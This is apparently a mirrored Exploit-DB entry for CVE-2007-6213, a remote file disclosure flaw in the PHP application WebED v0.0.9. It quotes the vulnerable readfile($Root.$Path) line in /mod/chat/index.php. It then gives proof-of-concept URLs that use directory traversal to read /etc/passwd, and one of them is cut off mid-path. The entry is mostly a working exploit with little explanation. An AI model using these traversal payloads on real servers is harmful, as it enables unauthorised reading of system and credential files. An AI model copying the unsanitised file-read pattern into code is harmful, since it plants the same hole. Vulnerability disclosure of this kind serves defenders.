- 34,644
- 0
- 18 Дек 2022
- EDB-ID
- 4677
- Проверка EDB
-
- Пройдено
- Автор
- GOLD_M
- Тип уязвимости
- WEBAPPS
- Платформа
- PHP
- CVE
- cve-2007-6213
- Дата публикации
- 2007-11-29
Код:
WebED v0.0.9 (index.php) Remote File Disclosure Vulnerabilities
Script : http://heanet.dl.sourceforge.net/sourceforge/ed-engine/WebED_v0.0.9.tar.gz
Vuln Code In /mod/chat/index.php :
<body>
<?php readfile($Root.$Path); ?> <---[xxx]
<form action="application_loader.php" method="post">
PoC :
/mod/chat/index.php?Root=../../../../../../etc/passwd
/mod/chat/index.php?Path=../../../../../../etc/pa
# milw0rm.com [2007-11-29]- Источник
- www.exploit-db.com
